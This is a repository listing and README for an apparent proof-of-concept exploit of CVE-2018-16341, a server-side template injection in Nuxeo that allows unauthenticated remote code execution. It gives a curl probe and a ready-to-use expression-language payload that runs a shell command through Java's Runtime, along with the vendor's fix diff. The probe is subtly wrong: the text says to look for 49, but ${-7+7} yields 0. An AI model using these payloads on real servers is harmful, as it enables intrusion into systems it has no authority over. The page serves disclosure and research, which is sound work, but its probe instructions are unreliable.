https://github.com/mpgn/CVE-2018-16341

CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection
https://github.com/mpgn/CVE-2018-16341

rce ssti

Last synced: 3 months ago
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CVE-2018-16341 - Nuxeo Remote Code Execution without authentication using Server Side Template Injection

• Host: GitHub
• URL: https://github.com/mpgn/CVE-2018-16341
• Owner: mpgn
• Created: 2019-06-05T18:24:45.000Z (over 5 years ago)
• Default Branch: master
• Last Pushed: 2019-06-05T18:43:28.000Z (over 5 years ago)
• Last Synced: 2024-06-06T20:57:59.484Z (5 months ago)
• Topics: rce, ssti
• Language: Python
• Homepage:
• Size: 2.93 KB
• Stars: 25
• Watchers: 1
• Forks: 12
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

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README

        
# CVE-2018-16341

Nuxeo Authentication Bypass Remote Code Execution < 10.3 using a SSTI - CVE-2018-16341

![image](https://user-images.githubusercontent.com/5891788/53368219-6e272b00-3948-11e9-8e08-b919c6cf1bcd.png)

**Detailed analysis (not english)**:

- https://www.freebuf.com/vuls/193000.html

- https://blog.riskivy.com/nuxeo-rce-analysis-cve-2018-16341/

**Security Advisory**:

- https://github.com/nuxeo/nuxeo/commit/eb54a9145c6d8297eba9d7dafc74556e735fa388#diff-cf2094833ef0eea473d03bf6559f1798R97 

**Note**: The version of Nuxeo 9.x is not [supported anymore](https://www.nuxeo.com/legal/supported-versions/) by Nuxeo but a hotfix has been provided for the version 9.x. On my side, the version 9.10 was vulnerable.

---

### The vulnerability

This PoC exploit a Server Side Template Injection (SSTI) in order to achieve the RCE located in the file `NuxeoUnknownResource.java`

- To check if Nuxeo is vulnerable just send this payload and check for the number **49**:

```

curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"

```

- Get the RCE using this payload:

```

${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}

```

---

Fix

```diff

@@ -94,8 +92,13 @@ public void connect() throws IOException {

 

             @Override

             public InputStream getInputStream() throws IOException {

+                String message = "ERROR: facelet not found";

+                // NXP-25746

+                if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {

+                    message += " at '" + path + "'";

+                }

                 String msg = ""

-                        + StringEscapeUtils.escapeHtml4(errorMessage) + "
";

+                        + StringEscapeUtils.escapeHtml4(message) + "
";

                 return new ByteArrayInputStream(msg.getBytes());

             }

         }

```